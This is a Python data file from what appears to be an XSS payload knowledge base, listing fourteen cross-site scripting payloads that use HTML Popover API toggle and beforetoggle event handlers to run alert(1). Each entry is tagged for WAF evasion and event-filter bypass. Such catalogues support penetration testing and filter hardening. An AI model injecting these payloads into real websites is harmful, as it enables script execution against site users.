#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Popover API XSS Payloads - Part 1
Basic toggle and beforetoggle event handlers with different popover types and actions.
"""

from ..models import PayloadEntry


POPOVER_API_PAYLOADS_PART1 = {
    # ============================================================
    # POPOVER API EVENT HANDLERS
    # ============================================================
    "popover-toggle-basic": PayloadEntry(
        payload="<div popover id=x ontoggle=alert(1)>XSS</div><button popovertarget=x>Click</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API toggle event handler",
        tags=["popover", "toggle", "api", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-beforetoggle-basic": PayloadEntry(
        payload="<div popover id=x onbeforetoggle=alert(1)>XSS</div><button popovertarget=x>Click</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API beforetoggle event handler",
        tags=["popover", "beforetoggle", "api", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-toggle-open": PayloadEntry(
        payload="<div popover id=x open ontoggle=alert(1)>XSS</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API toggle event on open attribute",
        tags=["popover", "toggle", "open", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-toggle-close": PayloadEntry(
        payload="<div popover id=x ontoggle=alert(1)>XSS</div><button popovertarget=x popovertargetaction=close>Close</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API toggle event on close",
        tags=["popover", "toggle", "close", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-beforetoggle-open": PayloadEntry(
        payload="<div popover id=x open onbeforetoggle=alert(1)>XSS</div>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API beforetoggle event on open",
        tags=["popover", "beforetoggle", "open", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-beforetoggle-close": PayloadEntry(
        payload="<div popover id=x onbeforetoggle=alert(1)>XSS</div><button popovertarget=x popovertargetaction=close>Close</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API beforetoggle event on close",
        tags=["popover", "beforetoggle", "close", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-toggle-auto": PayloadEntry(
        payload="<div popover=auto id=x ontoggle=alert(1)>XSS</div><button popovertarget=x>Click</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API toggle event with auto popover",
        tags=["popover", "toggle", "auto", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-toggle-manual": PayloadEntry(
        payload="<div popover=manual id=x ontoggle=alert(1)>XSS</div><button popovertarget=x>Click</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API toggle event with manual popover",
        tags=["popover", "toggle", "manual", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-beforetoggle-auto": PayloadEntry(
        payload="<div popover=auto id=x onbeforetoggle=alert(1)>XSS</div><button popovertarget=x>Click</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API beforetoggle event with auto popover",
        tags=["popover", "beforetoggle", "auto", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-beforetoggle-manual": PayloadEntry(
        payload="<div popover=manual id=x onbeforetoggle=alert(1)>XSS</div><button popovertarget=x>Click</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API beforetoggle event with manual popover",
        tags=["popover", "beforetoggle", "manual", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-toggle-nested": PayloadEntry(
        payload="<div popover id=x ontoggle=alert(1)><div popover id=y ontoggle=alert(2)>Nested</div><button popovertarget=y>Nested</button></div><button popovertarget=x>Click</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API nested toggle events",
        tags=["popover", "toggle", "nested", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-beforetoggle-nested": PayloadEntry(
        payload="<div popover id=x onbeforetoggle=alert(1)><div popover id=y onbeforetoggle=alert(2)>Nested</div><button popovertarget=y>Nested</button></div><button popovertarget=x>Click</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API nested beforetoggle events",
        tags=["popover", "beforetoggle", "nested", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-toggle-script": PayloadEntry(
        payload='<div popover id=x ontoggle=alert(1)>XSS</div><script>document.getElementById("x").showPopover()</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API toggle event via showPopover()",
        tags=["popover", "toggle", "showPopover", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "popover-beforetoggle-script": PayloadEntry(
        payload='<div popover id=x onbeforetoggle=alert(1)>XSS</div><script>document.getElementById("x").showPopover()</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover API beforetoggle event via showPopover()",
        tags=["popover", "beforetoggle", "showPopover", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
}
